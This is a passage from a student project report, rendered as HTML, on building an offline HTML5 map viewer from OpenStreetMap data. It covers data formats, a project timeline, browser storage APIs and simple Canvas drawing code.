&lt;p&gt;Another option is the OpenStreetMap API itself &lt;a id="loc-9" href="#loc-109" role="doc-biblioref"&gt;[9]&lt;/a&gt;. This is more promising for offline usage, as it allows you to download vector data that can be stored more efficiently than raster images. However, the API is not designed for this use case — it is an interface specifically for map editor programs to use. As such, you can only download small geographical areas at a time, and the data is not stored in an optimal format for rendering. For example, complex structures, such as buildings with internal courtyards, are represented in OSM with multipolygon relations, which are difficult to parse and render correctly when using raw OSM data. An additional barrier to using the editing API is that its Terms of Use explicitly prohibit read only applications &lt;a id="loc-10" href="#loc-110" role="doc-biblioref"&gt;[10]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Cruiser follows a more promising approach &lt;a id="loc-11" href="#loc-111" role="doc-biblioref"&gt;[11]&lt;/a&gt;. Instead of downloading rendered image tiles, it uses prebuilt tiled vector map files, in the Mapsforge binary format &lt;a id="loc-12" href="#loc-112" role="doc-biblioref"&gt;[12]&lt;/a&gt;. This is much more space efficient — the whole of England is an 805 MB download. It is also much less difficult to host, as you don’t need a powerful server to render the raster map tiles on the fly. One possible issue with this approach is that this may be too much data to store in a HTML5 web application, and this is something I will have to explore further.&lt;/p&gt;
&lt;p&gt;Offline maps are a niche market, as desktop computers tend to always have an internet connection, and on mobile devices data is cheap enough to allow downloading some small vector or raster map tiles. Hence, the main use-case for an offline HTML5 map would be for when an internet connection is either prohibitively expensive or not available at all. This could be when roaming abroad, or when in an area without LTE coverage. As such, it makes sense to make support for mobile devices a priority, as they are the most likely to be in these situations.&lt;/p&gt;
&lt;p&gt;From this project I hope to learn how map data actually becomes a rendered map, as my current understanding of this process is limited. I also hope to learn more about offline HTML applications, as I think that this type of web app has lots of room to become popular in the coming years. There are lots of apps on my phone that I think could be replaced by a PWA (progressive web app).&lt;/p&gt;
&lt;h3&gt;Literature review&lt;/h3&gt;
&lt;p&gt;Whilst researching, my primary source for information about the OpenStreetMap project was &lt;em&gt;OpenStreetMap — Using and Enhancing the Free Map of the World&lt;/em&gt;, by &lt;a href="#loc-101" role="doc-biblioref"&gt;[1]&lt;/a&gt;. This provided a good foundation of knowledge that supplemented information that I have picked up over the years from contributing to the project. Some sections were a little out of date, especially the sections on editors and tools for mappers. Notably the online editor referred to here, Potlatch, is no longer available, being superseded by iD in 2013.&lt;/p&gt;
&lt;p&gt;For more up to date or specific information I often relied on the OpenStreetMap Wiki &lt;a id="loc-13" href="#loc-113" role="doc-biblioref"&gt;[13]&lt;/a&gt;, which provides a helpful reference for both OSM specific information and other GIS adjacent topics. These include general information about map projections &lt;a id="loc-14" href="#loc-114" role="doc-biblioref"&gt;[14]&lt;/a&gt;, and details about the Z/X/Y tiling scheme that is common for web maps &lt;a id="loc-15" href="#loc-115" role="doc-biblioref"&gt;[15]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When it came to implementing the project, MDN Web Developer documentation proved invaluable &lt;a id="loc-16" href="#loc-116" role="doc-biblioref"&gt;[16]&lt;/a&gt;. They provide an excellent reference on how to use many web APIs, with detailed usage guides included. In particular, the information about the Canvas API &lt;a id="loc-17" href="#loc-117" role="doc-biblioref"&gt;[17]&lt;/a&gt;, and Service Workers &lt;a id="loc-18" href="#loc-118" role="doc-biblioref"&gt;[18]&lt;/a&gt; was very useful, as these were technologies that I was not familiar with.&lt;/p&gt;
&lt;h3&gt;Aims and objectives&lt;/h3&gt;
&lt;p&gt;Here I will list some specific features that I would like to implement in the project. These are not fixed, and some may not be implemented, or others added in their place:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download vector map data for a user-provided region (preferably at least as large as a UK county), allowing the user to browse the map offline.&lt;/li&gt;
&lt;li&gt;Allow the user to pan and zoom the map. They should be able to zoom out to the view the full extent of the downloaded data.&lt;/li&gt;
&lt;li&gt;Provide a search functionality, using the Nominatim API&lt;/li&gt;
&lt;li&gt;Allow the user to route between two points, which could be implemented using OSRM, GraphHopper or Valhalla.&lt;/li&gt;
&lt;li&gt;When an OSM element has been tagged with a reference to a Wikipedia article, it should show a description from Wikipedia.&lt;/li&gt;
&lt;li&gt;Allow the user to save and name markers for later use.&lt;/li&gt;
&lt;li&gt;When online, the application should allow the user to browse a map without having to first download any data. This could be done using raster tiles.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Deliverables &amp;amp; timeline&lt;/h3&gt;
&lt;p&gt;Following a predetermined timeline will help my project proceed without any major unexpected delays, and will give me targets to aim for. At the beginning of term 1 I focused on exploring any risky areas or technologies that I was unsure about. This helped answer any large questions early on in the process.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Report on offline HTML5 technologies. Used this to discover whether it is possible to download &amp;amp; store a large amount of vector map data (&gt;&lt;span id="loc-19"&gt;100 MB) for later rendering.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Proof of concept basic offline HTML5 app. Used this to discover any limit of how files can be stored for offline &lt;span id="loc-20"&gt;use.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Report on the different ways that the program could get OpenStreetMap data. One possibility is the Mapsforge format, or it could use the OSM editing API. This helped mitigate risk of using a technology that is &lt;span id="loc-21"&gt;not suitable for the project.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Report about how map projection works. Specifically the mathematics behind projecting the data that is produced by OpenStreetMap. This ensured that I understood this key &lt;span id="loc-22"&gt;concept.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Proof of concept that took some way made up of latitude longitude &lt;span id="loc-23"&gt;pairs and draws a line onto a canvas.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Make proof of concept &lt;a href="#loc-23"&gt;[item:deliverable:draw-line]&lt;/a&gt; interactive, by allowing the user to pan and zoom the map. This should be done with the scroll wheel on desktop and pinch zooming on &lt;span id="loc-24"&gt;mobile.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Proof of concept that loads some actual OSM data using the technology that I decided upon in deliverable &lt;a href="#loc-21"&gt;[item:deliverable:osm-data]&lt;/a&gt;&lt;span id="loc-25"&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Thoroughly test the application on mobile, as this will likely be the &lt;span id="loc-26"&gt;main use case for an offline map.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Add online search functionality, using the Nominatim &lt;span id="loc-27"&gt;API.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Add online routing functionality, using OSRM, GraphHopper or &lt;span id="loc-28"&gt;Valhalla.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Show point of interest information from Wikipedia, when an OSM element &lt;span id="loc-29"&gt;has been tagged to allow this.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Add the ability to save and name markers for later &lt;span id="loc-30"&gt;use.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Allow the user to browse the map without first downloading data when online. This could be done using raster &lt;span id="loc-31"&gt;tiles.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="loc-32"&gt;Term one&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Week 3 (2022/10/03)&lt;/strong&gt; Report &lt;a href="#loc-19"&gt;[item:deliverable:offline-html]&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week 4 (2022/10/10)&lt;/strong&gt;: Proof of concept &lt;a href="#loc-20"&gt;[item:deliverable:basic-offline-app]&lt;/a&gt; &amp;amp; report &lt;a href="#loc-21"&gt;[item:deliverable:osm-data]&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week 5 (2022/10/17)&lt;/strong&gt;: Report &lt;a href="#loc-22"&gt;[item:deliverable:map-projection]&lt;/a&gt; &amp;amp; proof of concept &lt;a href="#loc-23"&gt;[item:deliverable:draw-line]&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week 6–7 (2022/10/24)&lt;/strong&gt;: Proof of concept &lt;a href="#loc-24"&gt;[item:deliverable:pan-zoom]&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week 8–9 (2022/11/07)&lt;/strong&gt;: Proof of concept &lt;a href="#loc-25"&gt;[item:deliverable:load-osm-data]&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week 10–11 (2022/11/21)&lt;/strong&gt;: Prepare for the interim report, and presentation.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Term two&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Week 1–2 (2023/01/09)&lt;/strong&gt;: Integration of the above proof of concepts into the final program.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week 3–4 (2023/01/23)&lt;/strong&gt;: Deliverable &lt;a href="#loc-26"&gt;[item:deliverable:mobile-testing]&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week 5 (2023/02/06)&lt;/strong&gt;: Prepare an initial draft for the final report.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week 6–7 (2023/02/13)&lt;/strong&gt;: Add support for further features, such as deliverables &lt;a href="#loc-27"&gt;[item:deliverable:search]&lt;/a&gt;, &lt;a href="#loc-28"&gt;[item:deliverable:routing]&lt;/a&gt;, &lt;a href="#loc-29"&gt;[item:deliverable:wikipedia]&lt;/a&gt;, &lt;a href="#loc-30"&gt;[item:deliverable:markers]&lt;/a&gt; and &lt;a href="#loc-31"&gt;[item:deliverable:online]&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week 8 (2023/02/27)&lt;/strong&gt;: Evaluate the solution so far, and decide whether to extend the project further, if time permits.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week 9–11 (2023/03/06)&lt;/strong&gt;: Prepare for the final report.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Research&lt;/h2&gt;
&lt;p&gt;Here I present the research reports I conducted throughout the development process. These helped me to discover which technologies would be most appropriate for my project, and how I could implement them in my proof of concepts.&lt;/p&gt;
&lt;h3&gt;Basic web technologies&lt;/h3&gt;
&lt;p&gt;Websites are commonly made up of 3 main components: HTML, CSS, and JavaScript &lt;a id="loc-33" href="#loc-119" role="doc-biblioref"&gt;[19]&lt;/a&gt;. HTML is used to create text, images, videos, and other non-interactive content. CSS is responsible for styling, colours, sizing, and other visual effects. JavaScript is used to add interactivity.&lt;/p&gt;
&lt;p&gt;While I will need some HTML and CSS, my project is focused on creating an interactive map. Therefore, much of my work will be done in JavaScript, specifically heavily utilising the Canvas API &lt;a href="#loc-117" role="doc-biblioref"&gt;[17]&lt;/a&gt;. Instead of using vanilla JavaScript, I have chosen to use TypeScript, which is a superset of JavaScript that adds a compilation/stripping step, where types are statically checked to prevent runtime type issues (this is discussed more in Section &lt;a href="#loc-83"&gt;5&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;In this listing you can see an HTML example that does little other than create a canvas element, and load an external script. This script can then get a reference to the &lt;code&gt;map&lt;/code&gt; canvas element in the DOM (e.g., with &lt;code&gt;document.querySelector("#map")&lt;/code&gt;), and use this to create and issue calls to the canvas rendering context.&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="html"&gt;&amp;lt;!&lt;span style="color: #d73948"&gt;DOCTYPE&lt;/span&gt; &lt;span style="color: #d73948"&gt;html&lt;/span&gt;&gt;&lt;br&gt;&amp;lt;&lt;span style="color: #4b69c6"&gt;html&lt;/span&gt;&gt;&lt;br&gt; &amp;lt;&lt;span style="color: #4b69c6"&gt;head&lt;/span&gt;&gt;&lt;br&gt; &amp;lt;&lt;span style="color: #4b69c6"&gt;meta&lt;/span&gt; &lt;span style="color: #8b41b1"&gt;name&lt;/span&gt;=&lt;span style="color: #198810"&gt;"&lt;/span&gt;&lt;span style="color: #198810"&gt;viewport&lt;/span&gt;&lt;span style="color: #198810"&gt;"&lt;/span&gt; &lt;span style="color: #8b41b1"&gt;content&lt;/span&gt;=&lt;span style="color: #198810"&gt;"&lt;/span&gt;&lt;span style="color: #198810"&gt;width=device-width, initial-scale=1.0&lt;/span&gt;&lt;span style="color: #198810"&gt;"&lt;/span&gt; /&gt;&lt;br&gt; &amp;lt;&lt;span style="color: #4b69c6"&gt;title&lt;/span&gt;&gt;Proof of concept: 1&amp;lt;/&lt;span style="color: #4b69c6"&gt;title&lt;/span&gt;&gt;&lt;br&gt; &amp;lt;&lt;span style="color: #4b69c6"&gt;style&lt;/span&gt;&gt;&lt;br&gt; &lt;span style="color: #4b69c6"&gt;body&lt;/span&gt; {&lt;br&gt; &lt;span style="color: #4b69c6"&gt;font-family&lt;/span&gt;: &lt;span style="color: #198810"&gt;sans&lt;/span&gt;;&lt;br&gt; }&lt;br&gt; &amp;lt;/&lt;span style="color: #4b69c6"&gt;style&lt;/span&gt;&gt;&lt;br&gt; &amp;lt;/&lt;span style="color: #4b69c6"&gt;head&lt;/span&gt;&gt;&lt;br&gt; &amp;lt;&lt;span style="color: #4b69c6"&gt;body&lt;/span&gt;&gt;&lt;br&gt; &amp;lt;&lt;span style="color: #4b69c6"&gt;h1&lt;/span&gt;&gt;Proof of concept: 1&amp;lt;/&lt;span style="color: #4b69c6"&gt;h1&lt;/span&gt;&gt;&lt;br&gt; &amp;lt;&lt;span style="color: #4b69c6"&gt;canvas&lt;/span&gt; &lt;span style="color: #8b41b1"&gt;id&lt;/span&gt;=&lt;span style="color: #198810"&gt;"&lt;/span&gt;&lt;span style="color: #198810"&gt;map&lt;/span&gt;&lt;span style="color: #198810"&gt;"&lt;/span&gt;&gt;&amp;lt;/&lt;span style="color: #4b69c6"&gt;canvas&lt;/span&gt;&gt;&lt;br&gt; &amp;lt;&lt;span style="color: #4b69c6"&gt;script&lt;/span&gt; &lt;span style="color: #8b41b1"&gt;src&lt;/span&gt;=&lt;span style="color: #198810"&gt;"&lt;/span&gt;&lt;span style="color: #198810"&gt;dist/bundle.js&lt;/span&gt;&lt;span style="color: #198810"&gt;"&lt;/span&gt;&gt;&amp;lt;/&lt;span style="color: #4b69c6"&gt;script&lt;/span&gt;&gt;&lt;br&gt; &amp;lt;/&lt;span style="color: #4b69c6"&gt;body&lt;/span&gt;&gt;&lt;br&gt;&amp;lt;/&lt;span style="color: #4b69c6"&gt;html&lt;/span&gt;&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;To run your multiple JavaScript files in the browser, you can either use plain ES Modules &lt;a id="loc-34" href="#loc-120" role="doc-biblioref"&gt;[20]&lt;/a&gt;, or add a bundling step, where all the code is combined into a single file. Using ES Modules in the browser allows you to avoid a build step, but has the negative that it requires &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 0.6em; height: 0.683em;" viewBox="0 0 6.6 7.513000000000001" width="6.6pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#gE2B7E3D264F2F7FB4E5DAE10F9857908" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="gE2B7E3D264F2F7FB4E5DAE10F9857908" overflow="visible"&gt;&lt;path d="M 0 0m 5.907 1.507 c -0.25300026 -0.86899996 -0.6160002 -1.309 -1.0669999 -1.309 c -0.14300013 0 -0.22000027 0.11 -0.22000027 0.319 c 0 0.15399998 0.065999985 0.407 0.19799995 0.74799997 c 0.44000006 1.199 0.6600003 1.991 0.6600003 2.3979998 c 0 0.7700002 -0.5170002 1.1990001 -1.2870002 1.1990001 c -0.6489999 0 -1.21 -0.28599977 -1.661 -0.86899996 c -0.08800006 0.48399973 -0.47300005 0.86899996 -1.0339999 0.86899996 c -0.61600006 0 -0.85800004 -0.572 -1.0120001 -1.0669999 c -0.109999985 -0.352 -0.16499999 -0.5610001 -0.16499999 -0.638 c 0 -0.09899998 0.055000007 -0.15400004 0.176 -0.15400004 c 0.055000007 0 0.088 0.010999918 0.12099999 0.032999992 c 0.055000007 0.09899998 0.088 0.17599988 0.09899998 0.25300002 c 0.19800001 0.83599997 0.45100003 1.2539997 0.74799997 1.2539997 c 0.19800007 0 0.29700005 -0.1539998 0.29700005 -0.4619999 c 0 -0.14299989 -0.054999948 -0.43999982 -0.176 -0.8909998 l -0.627 -2.497 c -0.032999992 -0.143 -0.09900004 -0.42900002 -0.09900004 -0.48400003 c 0 -0.22 0.12099999 -0.32999998 0.36299998 -0.32999998 c 0.20899999 0 0.36300004 0.11 0.44000006 0.32999998 c 0.021999955 0.055000007 0.08799994 0.32999998 0.20899999 0.803 l 0.23100007 0.979 l 0.32999992 1.254 c 0.12100005 0.25300002 0.3080001 0.50600004 0.53900003 0.77 c 0.319 0.35200024 0.7149999 0.5279999 1.188 0.5279999 c 0.36299992 0 0.53900003 -0.24199963 0.53900003 -0.7149997 c 0 -0.41799998 -0.23099995 -1.2540002 -0.704 -2.5080001 c -0.07700014 -0.19799995 -0.11000013 -0.36299992 -0.11000013 -0.5059999 c 0 -0.53900003 0.40700006 -0.935 0.93499994 -0.935 c 0.4840002 0 0.86899996 0.275 1.144 0.825 c 0.20900011 0.44000006 0.31900024 0.737 0.31900024 0.88 c 0 0.09899998 -0.055000305 0.15400004 -0.17600012 0.15400004 c -0.032999992 0 -0.19799995 -0.0990001 -0.19799995 -0.23100007 Z "/&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;/svg&gt;&lt;/span&gt; round-trips to the server. For example, if &lt;code&gt;main.js&lt;/code&gt; imports &lt;code&gt;map.js&lt;/code&gt; and &lt;code&gt;map.js&lt;/code&gt; imports &lt;code&gt;util.js&lt;/code&gt;, your browser will need to make 3 separate requests to the server, and script execution will be blocked until the last dependency has been fetched and evaluated &lt;a id="loc-35" href="#loc-121" role="doc-biblioref"&gt;[21]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Bundling, in its simplest form, involves concatenating all the source files together into a single file. This neatly avoids the round trip problem, whilst still allowing you to store your source code in separate files. Advanced bundlers also support features like minification, where variables are renamed to be shorter, whitespace is removed, and unused functions are purged. &lt;code&gt;esbuild&lt;/code&gt; is a high-performance modern JavaScript/TypeScript bundler, which is written in Go &lt;a id="loc-36" href="#loc-122" role="doc-biblioref"&gt;[22]&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="loc-37"&gt;Offline HTML5 applications&lt;/h3&gt;
&lt;p&gt;In order to create an offline HTML5 map application, I will first have to research how offline HTML5 applications work, and what technologies I’ll need to become familiar with.&lt;/p&gt;
&lt;p&gt;There are various different APIs that one can use to store data in an offline HTML5 application, such as IndexedDB, the File and Directory Entries API &lt;a id="loc-38" href="#loc-123" role="doc-biblioref"&gt;[23]&lt;/a&gt; &lt;a id="loc-39" href="#loc-124" role="doc-biblioref"&gt;[24]&lt;/a&gt; and &lt;code&gt;localStorage&lt;/code&gt;. &lt;code&gt;localStorage&lt;/code&gt; will likely not be appropriate for my use case, as it is designed for only small amounts of data. There is also the Application Cache, but this has been deprecated, and support has been removed from all major browsers &lt;a id="loc-40" href="#loc-125" role="doc-biblioref"&gt;[25]&lt;/a&gt; &lt;a id="loc-41" href="#loc-126" role="doc-biblioref"&gt;[26]&lt;/a&gt;. Therefore, the Application Cache will not be suitable for a new application.&lt;/p&gt;
&lt;p&gt;If I am to process and use a large precompiled map data format like mbtiles &lt;a id="loc-42" href="#loc-127" role="doc-biblioref"&gt;[27]&lt;/a&gt; or Mapsforge &lt;a href="#loc-112" role="doc-biblioref"&gt;[12]&lt;/a&gt;, using the File and Directory Entries API will likely be more appropriate. For optimal performance, it may be necessary to have a loading step I transform from one of these formats into the IndexedDB, for usage by the app. Hopefully this step can be avoided, as it would not be ideal to have multiple copies of the data, particularly on space constrained devices.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The File and Directory Entries API simulates a local file system that web apps can navigate around. You can develop apps that can read, write, and create files and directories in a sandboxed, virtual file system.”&lt;/p&gt;
&lt;p&gt;— &lt;a href="#loc-124" role="doc-biblioref"&gt;MDN Contributors (“Introduction to the File and Directory Entries Api.”&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Another benefit of the File and Directory Entries API &lt;a href="#loc-123" role="doc-biblioref"&gt;[23]&lt;/a&gt;, is that it has the ability to act like a local file system. This would allow my app to have a flow like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User opens the webapp.&lt;/li&gt;
&lt;li&gt;Selects map to download from list (or as an enhancement by zooming in on desired region on a low detail world map).&lt;/li&gt;
&lt;li&gt;App downloads the map file to sandboxed filesystem.&lt;/li&gt;
&lt;li&gt;User goes offline.&lt;/li&gt;
&lt;li&gt;Map rendered from this internally stored file.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A flow like this makes sense from a user’s perspective, as it follows a similar paradigm to other offline map viewers, like Organic Maps or OsmAnd (as discussed in the initial plan).&lt;/p&gt;
&lt;p&gt;If there are issues with using the File and Directory Entries API, for example file size limits in certain browsers, it should be possible to use the plain File API instead &lt;a id="loc-43" href="#loc-128" role="doc-biblioref"&gt;[28]&lt;/a&gt;. The File API allows access to read single files from a user’s local filesystem. Importantly for my use case of loading a large map file from a user’s disk, we cannot store the entire file in RAM at once. Usefully, the File API provides a &lt;code&gt;.slice()&lt;/code&gt; method, which allows you to work with a smaller subsection of the file. This will likely be important to avoid out-of-memory (OOM) errors.&lt;/p&gt;
&lt;p&gt;Using the plain file API will, however, come at a detriment to the user flow. Instead of being able to select and download a map within the app, the user will have to download the map file themselves, then point the app to the map file they have downloaded. This is not a major issue, but it would be preferable to have this process handled without user interaction.&lt;/p&gt;
&lt;p&gt;Unfortunately the Files and Directory Entries API has limited support in Firefox &lt;a id="loc-44" href="#loc-129" role="doc-biblioref"&gt;[29]&lt;/a&gt;. Critically &lt;code&gt;window.requestFileSystem()&lt;/code&gt; is not supported, and this is the function that you call to gain access to a virtual filesystem. In Firefox this API can only be used through an &lt;code&gt;&amp;lt;input&gt;&lt;/code&gt; element, or drag and drop. This is an issue as for my application, the app would need to be able to create the virtual filesystem programmatically.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“Content scripts can’t create file systems or initiate access to a file system.”&lt;/p&gt;
&lt;p&gt;— &lt;a href="#loc-129" role="doc-biblioref"&gt;MDN Contributors (“File and Directory Entries API Support in Firefox: Limitations.”&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hence, if I wish to use the File and Directory Entries API, which would provide a smoother user journey, I would not be able to support Firefox. For my application, I think it is more important to support Firefox than have perfect UX — so I will settle on the compromise of the user having to select the desired map file on each start, via the file picker. This will be an irritation, but unfortunately there is no widely compatible way to use a sandboxed/virtual filesystem in the browser.&lt;/p&gt;
&lt;p&gt;One benefit of storing the map file outside the browser is that my application will not have to deal with the browser not allocating it enough storage quota for the file. For example, in Chrome you must use the Quota Management API to request persistent storage space to use &lt;a id="loc-45" href="#loc-130" role="doc-biblioref"&gt;[30]&lt;/a&gt;, which will prompt the user to accept the request.&lt;/p&gt;
&lt;p&gt;Another option is to use the Cache API. The Cache API is part of the Service Worker specification &lt;a id="loc-46" href="#loc-131" role="doc-biblioref"&gt;[31]&lt;/a&gt; &lt;a href="#loc-118" role="doc-biblioref"&gt;[18]&lt;/a&gt;, and has good cross-browser support. It has a simpler interface that should work for the application — a pair of a request and a response object are stored, and you get a cached version of the response by providing a similar request.&lt;/p&gt;
&lt;p&gt;To determine which will be the best choice for the application, I will produce proof of concepts that employ the File API and the Cache API.&lt;/p&gt;
&lt;h3&gt;Using the HTML5 canvas&lt;/h3&gt;
&lt;p&gt;The HTML5 Canvas provides another dimension to web applications, where bitmap animations or other data can be displayed interactively.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“HTML5 Canvas is an immediate mode bitmapped area of the screen that can be manipulated with JavaScript. Immediate mode refers to the way the canvas renders pixels on the screen. HTML5 Canvas completely redraws the bitmapped screen on every frame by using Canvas API calls from JavaScript.”&lt;/p&gt;
&lt;p&gt;— &lt;a href="#loc-117" role="doc-biblioref"&gt;MDN Contributors (“Canvas Api.”&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, in my application, the canvas is what the map will be “drawn” to. The canvas API provides different interfaces that you can use, known as rendering contexts &lt;a href="#loc-117" role="doc-biblioref"&gt;[17]&lt;/a&gt;. For simple 2D drawing, there is the &lt;code&gt;CanvasRenderingContext2D&lt;/code&gt; interface. For more intensive 2D and 3D workloads, there is the GPU accelerated &lt;code&gt;WebGLRenderingContext&lt;/code&gt;, which uses an OpenGL-like system of vertex and fragment shaders &lt;a id="loc-47" href="#loc-132" role="doc-biblioref"&gt;[32]&lt;/a&gt;. This is what some existing vector web map libraries use, like Mapbox’s GL JS &lt;a id="loc-48" href="#loc-133" role="doc-biblioref"&gt;[33]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the long run, the &lt;code&gt;WebGLRenderingContext&lt;/code&gt; would be the best choice in terms of efficiency and performance, as it is hardware accelerated. However, the &lt;code&gt;CanvasRenderingContext2D&lt;/code&gt; has a far simpler API, so it makes sense to use it here.&lt;/p&gt;
&lt;p&gt;The simplest operation I will need to use the canvas for is drawing the outlines of polygonal shapes. Note that on the canvas, &lt;code&gt;(0, 0)&lt;/code&gt; is at the top left. To begin drawing, you first need to get an instance of &lt;code&gt;CanvasRenderingContext2D&lt;/code&gt;, which is done by calling &lt;code&gt;const ctx = canvas.getContext(“2d”)&lt;/code&gt; on some canvas element in the DOM. To start on the polygon, you must call &lt;code&gt;ctx.beginPath()&lt;/code&gt; to create a new path, that you then add data to using the &lt;code&gt;ctx.lineTo(x, y)&lt;/code&gt; method. If required, you can also call &lt;code&gt;ctx.moveTo(x, y)&lt;/code&gt; to have the line jump from one spot to the next. Once you have made your &lt;code&gt;.moveTo()&lt;/code&gt; and &lt;code&gt;.lineTo()&lt;/code&gt; calls, you then execute &lt;code&gt;ctx.stroke()&lt;/code&gt; to render the line out.&lt;/p&gt;
&lt;p&gt;Another operation I will need to perform to create a styled map, is creating “filled” polygons. For example, &lt;a href="https://openstreetmap.org"&gt;openstreetmap.org&lt;/a&gt; renders buildings with a brown infill and a darker outline. This is achieved on the canvas in a very similar way to the polygon outline, but instead of calling &lt;code&gt;ctx.stroke()&lt;/code&gt; to render the path, you call &lt;code&gt;ctx.fill()&lt;/code&gt;. To control the colour, you set &lt;code&gt;ctx.fillStyle&lt;/code&gt; to some desired value.&lt;/p&gt;
&lt;p&gt;To render names of points of interest and ways to the map, I will need a method to write text to the canvas. This can be done using &lt;code&gt;ctx.fillText(‘string’, x, y)&lt;/code&gt; &lt;a id="loc-49" href="#loc-134" role="doc-biblioref"&gt;[34]&lt;/a&gt;. Unfortunately, this does not make provisions for drawing text at an angle. This would be useful for drawing names of roads or boundaries, where the name follows the curve of the geometry. However, you can use the &lt;code&gt;ctx.rotate(angle)&lt;/code&gt; to achieve a similar result, albeit with some more complexity &lt;a id="loc-50" href="#loc-135" role="doc-biblioref"&gt;[35]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Another useful method for drawing a map will be the &lt;code&gt;ctx.measureText(‘string’)&lt;/code&gt; method, which returns the pixel size that the text will be drawn at. This information can be used to prevent labels on the map overlapping, by storing each of the previously drawn labels’ boundary boxes, and preventing new labels from being drawn if they are colliding.&lt;/p&gt;
&lt;p&gt;Finally, the &lt;code&gt;Path2D&lt;/code&gt; interface may be useful for my application &lt;a id="loc-51" href="#loc-136" role="doc-biblioref"&gt;[36]&lt;/a&gt;. It allows you to save a path, meaning you can stroke and fill some geometry, without having to draw the path twice. Hence, it should give an efficiency boost. You use it like so:&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typescript"&gt;&lt;span style="color: #d73948"&gt;const&lt;/span&gt; ctx &lt;span style="color: #d73948"&gt;=&lt;/span&gt; canvas.&lt;span style="color: #4b69c6"&gt;getContext&lt;/span&gt;(&lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;2d&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;);&lt;br&gt;&lt;br&gt;&lt;span style="color: #d73948"&gt;let&lt;/span&gt; path &lt;span style="color: #d73948"&gt;=&lt;/span&gt; &lt;span style="color: #d73948"&gt;new&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;Path2D&lt;/span&gt;();&lt;br&gt;path.&lt;span style="color: #4b69c6"&gt;rect&lt;/span&gt;(&lt;span style="color: #b60157"&gt;5&lt;/span&gt;, &lt;span style="color: #b60157"&gt;5&lt;/span&gt;, &lt;span style="color: #b60157"&gt;20&lt;/span&gt;, &lt;span style="color: #b60157"&gt;20&lt;/span&gt;);&lt;br&gt;&lt;br&gt;ctx.&lt;span style="color: #4b69c6"&gt;stroke&lt;/span&gt;(path);&lt;br&gt;ctx.&lt;span style="color: #4b69c6"&gt;fill&lt;/span&gt;(path);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h3 id="loc-52"&gt;OpenStreetMap data sources&lt;/h3&gt;
&lt;p&gt;In order to produce a map using OpenStreetMap data, you first need to decide which source/format of data to use. Traditionally, for this project, students use the OpenStreetMap editing API. This however, has a number of limitations, some of which I have already discussed in the project plan:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is designed for map editing applications, and the terms of service explicitly prohibit read-only uses &lt;a href="#loc-108" role="doc-biblioref"&gt;[8]&lt;/a&gt;.&lt;/li&gt;
